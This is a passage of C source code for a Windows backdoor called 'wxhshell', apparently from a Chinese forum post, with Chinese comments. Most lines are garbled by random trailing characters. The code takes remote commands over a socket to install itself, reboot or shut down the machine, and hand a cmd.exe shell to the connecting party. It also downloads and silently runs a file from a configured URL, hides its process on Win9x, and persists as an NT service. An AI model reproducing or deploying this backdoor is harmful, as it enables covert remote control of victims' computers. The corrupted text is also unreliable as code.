  else { <\&9Odqc  
TR DQ+Z  
    switch(cmd[0]) { *S,~zOYN  
  lfgJQzi G  
  // 帮助 :21d  
  case '?': { RA0;f'"`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ) D@j6r  
    break; +{:uPY#1  
  } U^dfNi@q  
  // 安装 XY"b90  
  case 'i': { *ub2dH4/  
    if(Install()) m+(Cl#+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y:;.r:  
    else 9;@p2t*v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %O \@rws  
    break; ^&>B,;Wu  
    } 7ch9Pf  
  // 卸载 mLhM_=  
  case 'r': { 47q> q  
    if(Uninstall()) t8^1wA@@V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 981-[ga `Y  
    else -<#) ]um  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NM3;l}Y8  
    break; nTy]sPn  
    } 42dv3bE"  
  // 显示 wxhshell 所在路径 _**Nlp*%  
  case 'p': { ~5KcbGD~  
    char svExeFile[MAX_PATH]; [HILK `@@  
    strcpy(svExeFile,"\n\r"); FIq'W:q:  
      strcat(svExeFile,ExeFile); | b'Ut)E  
        send(wsh,svExeFile,strlen(svExeFile),0); E %mEfj7  
    break; nfEbu4|  
    } W==~ 9  
  // 重启 2R/|/>T v  
  case 'b': { F1Z'tjj+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LF7- ?? '  
    if(Boot(REBOOT)) oZBD.s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^ij0<*ca9  
    else { bZ`v1d (r  
    closesocket(wsh); K%z!#RyJ4  
    ExitThread(0); K\K& K~Z  
    } cN,*QN  
    break; }3#\vn0gT  
    } 4XpWDfa.}  
  // 关机 BSm"]!D8*  
  case 'd': { 2k.VTGak  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X*2W4udF  
    if(Boot(SHUTDOWN)) cH5i420;aO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f[o~d`z  
    else { ',EI[ ]+  
    closesocket(wsh); %Ig$:I(o  
    ExitThread(0); `zQuhD 8W  
    } Y1PR?c Q  
    break; bzi"7%c  
    } "Rj PTRe:  
  // 获取shell <[dcIw<7  
  case 's': { & zDuh[j}  
    CmdShell(wsh); f.6>6%l  
    closesocket(wsh); dNe!X0[  
    ExitThread(0); iWCYK7c@.-  
    break; xC)bW,%  
  } 6GxLaI  
  // 退出 &S>{9 y%  
  case 'x': { zd YH9d>D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p2STy\CS  
    CloseIt(wsh); h@%Xy(/m'  
    break; 6 >kULp  
    } )-2Nc7  
  // 离开 C~En0G1  
  case 'q': { 3aqH!?rVU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); aXe&c^AR  
    closesocket(wsh); NUsxMhP  
    WSACleanup(); ;.}L# '0j  
    exit(1); +x%u?ZR  
    break; &_L@hsm  
        } KIF9[/P  
  } x9l7|G/$  
  } tYjG8P#  
}_+XN"}C  
  // 提示信息 !*#9b  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^'X I%fEf  
} MLDzWZ~}ef  
  } 5Kzt8Tv[  
>_}isCd,  
  return; {5 dVK  
} 't<iB&wgF  
j )J |'b|  
// shell模块句柄 A]BeI  
int CmdShell(SOCKET sock) ]Uv,}W  
{ nb_/1{F  
STARTUPINFO si; o5Oig  
ZeroMemory(&si,sizeof(si)); /2K"Mpf8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _pdKcE\X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I\)`,w  
PROCESS_INFORMATION ProcessInfo; KXt8IMP_"y  
char cmdline[]="cmd"; %vmd2}dA  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A?YYR%o%'  
  return 0; 3BM z{ny=  
} rNN>tpZ}  
8Ths"zwn  
// 自身启动模式 5:@bNNX'j  
int StartFromService(void) ?mH=3 :~  
{ Y:\msq1xp  
typedef struct mEY#QN[eq  
{ PD&e6;rj;  
  DWORD ExitStatus; H oQb.Z  
  DWORD PebBaseAddress; YIe1AF}   
  DWORD AffinityMask; ZF7@b/-me  
  DWORD BasePriority; k3Yu"GY^  
  ULONG UniqueProcessId; 8qe[x\,"8  
  ULONG InheritedFromUniqueProcessId; ?m)<kY  
}   PROCESS_BASIC_INFORMATION; N#u'SGTG  
5EtR>Pc  
PROCNTQSIP NtQueryInformationProcess; P'~`2W0sz  
xkSXKR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @gP*z6Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S1=P-Ao  
_T)y5/[  
  HANDLE             hProcess; ?_H9>/:.  
  PROCESS_BASIC_INFORMATION pbi; OX"Na2-el  
/d&m#%9Up]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x1:mT[[$  
  if(NULL == hInst ) return 0; P-X|qVNK1Z  
I9kz)Q o  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {a[BhK'g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TuwP'g[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'n|U   
6J;!p/C8E  
  if (!NtQueryInformationProcess) return 0; D`XXR}8V  
;@; a eu  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^wy  
  if(!hProcess) return 0; $ #=d@Nw_  
n@pwOHQn<|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ed'[_T}T3t  
c]pz&  
  CloseHandle(hProcess); QQAEG#.5  
"%T~d[M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W^<AUT  
if(hProcess==NULL) return 0; U5"u h} 3  
"kApGNB  
HMODULE hMod; 8u*<GbKGI  
char procName[255]; z83v J*.  
unsigned long cbNeeded; a?gF;AYk  
9~V'Wev  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !*l/Pr^8  
}Y-V!z5z!  
  CloseHandle(hProcess); s#7"ZN  
#IH9S5B [  
if(strstr(procName,"services")) return 1; // 以服务启动 ~W @dF~r  
OP!R>|  
  return 0; // 注册表启动 99OZK  
} *<\ `"C;  
89 d%P J0  
// 主模块 xh;gAh5n  
int StartWxhshell(LPSTR lpCmdLine) W'6DwV|  
{ jI,[(Z>  
  SOCKET wsl; %; &lVIU0  
BOOL val=TRUE; &S="]*Z  
  int port=0; _qB ._  
  struct sockaddr_in door; Zv yZ5UA  
B~:yM1f@u4  
  if(wscfg.ws_autoins) Install(); 4j3q69TZR  
'bbw0aB4  
port=atoi(lpCmdLine); bg~CV&]M  
jwwRejNV  
if(port<=0) port=wscfg.ws_port; 8R)K$J$Hm  
2D!jVr!  
  WSADATA data; 1XiA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6vNW)1{nn  
(H:c8 0/V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }hy4EJ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); AYf}=t|  
  door.sin_family = AF_INET; vapC5,W"2-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); C-edQWbcP  
  door.sin_port = htons(port); |0Z J[[2  
M[I=N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o?ug`m"  
closesocket(wsl); @. sn  
return 1; 6zM:p/  
} :[@rA;L  
/J^dz vH  
  if(listen(wsl,2) == INVALID_SOCKET) { 23CvfP  
closesocket(wsl); tE0{ae  
return 1; Nd(3q]{  
} +VVn@=&?  
  Wxhshell(wsl); ">T\]V$R  
  WSACleanup(); -+F,L8  
&/m^}x/_W  
return 0; !=S?*E +j)  
o"Xv)#g&  
} ^m7y=CJM  
4lPO*:/  
// 以NT服务方式启动 0$Tb5+H5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) QP~["%}T  
{ bEF2- FO  
DWORD   status = 0; Qw_uwQZ)  
  DWORD   specificError = 0xfffffff; >!5RY8+  
@Yt394gA%\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I{w(`[Nxw*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C6c*y\O\7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r?)1)?JnHe  
  serviceStatus.dwWin32ExitCode     = 0; 6!i`\>I]  
  serviceStatus.dwServiceSpecificExitCode = 0; #;99vwc  
  serviceStatus.dwCheckPoint       = 0; gy?uk~p  
  serviceStatus.dwWaitHint       = 0; l!gX-U%-  
"(jD*\8x  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T=/c0#Q|q  
  if (hServiceStatusHandle==0) return; 0;x&\x7K  
W7C1\'T  
status = GetLastError(); ~> )>hy)  
  if (status!=NO_ERROR) _#M4zO7  
{ .S:(O+#Gm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; C'@I!m._i  
    serviceStatus.dwCheckPoint       = 0; `(j~b=PP  
    serviceStatus.dwWaitHint       = 0; =m<b+@?T  
    serviceStatus.dwWin32ExitCode     = status; io\t>_  
    serviceStatus.dwServiceSpecificExitCode = specificError; EkV#i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .hckZx /  
    return; n-K/d I  
  } Z>UM gu3c  
;8=Bee4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <LZ#A@]71  
  serviceStatus.dwCheckPoint       = 0; "~ =O`5V  
  serviceStatus.dwWaitHint       = 0; S? Cd,WxT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m>Z3p7!N}  
} O-.G("  
)09ltr0@"  
// 处理NT服务事件,比如:启动、停止 ?h1g$SBxk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~_0XG0oA  
{ 2iKteJ@h)  
switch(fdwControl) E6R\ DM  
{ kJ%a;p`O  
case SERVICE_CONTROL_STOP: 4,@jSr|I3i  
  serviceStatus.dwWin32ExitCode = 0; pj7a l;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +PBl3  
  serviceStatus.dwCheckPoint   = 0; p+ReQ.5|  
  serviceStatus.dwWaitHint     = 0; S*n5d>;  
  { 5(2 C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tcv/EST  
  } {li Q&AZ  
  return; AaU!a  
case SERVICE_CONTROL_PAUSE: |L89yjhWBs  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; pFs/ipZX^*  
  break; 43g1/,klm  
case SERVICE_CONTROL_CONTINUE: 9b6U] z,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mph9/ %]S  
  break; s/t,6-~EH  
case SERVICE_CONTROL_INTERROGATE: zk1]?  
  break; Z Uj1vf6I  
}; \0Xq&CG=E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #'@@P6o5  
} 2f{p$YIt  
c0l?+:0M  
// 标准应用程序主函数 16N |  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7}NvO"u  
{ S@[NKY  
8B+C[Q:+'  
// 获取操作系统版本 uEhPO  
OsIsNt=GetOsVer(); hKh ad8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ajG_t  
!yi*Zt~  
  // 从命令行安装 Ve9) ?=!  
  if(strpbrk(lpCmdLine,"iI")) Install(); %<8?$-[  
mYfHBW:  
  // 下载执行文件 OW6dK #CFt  
if(wscfg.ws_downexe) { ~233{vh$=>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S.>fB7'(?=  
  WinExec(wscfg.ws_filenam,SW_HIDE); uMm`j?Y23q  
} (I6Q"&h]  
%p7onwKq0  
if(!OsIsNt) { Ik, N/[  
// 如果时win9x,隐藏进程并且设置为注册表启动 9W-" mD;  
HideProc(); i"+TKo-  
StartWxhshell(lpCmdLine); ?N9Z;_&^.  
} B^]Gv7-  
else 'xG{q+jj'  
  if(StartFromService()) Pxkh;:agD  
  // 以服务方式启动 4K HIUW$  
  StartServiceCtrlDispatcher(DispatchTable); v.sjWF  
else @+ T33X)h%  
  // 普通方式启动 O9<oq  
  StartWxhshell(lpCmdLine); sSk qU  
k|RY; 8_  
return 0; "Q\b6 7Ch  
}
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只看该作者 1 发表于: 2006-10-10
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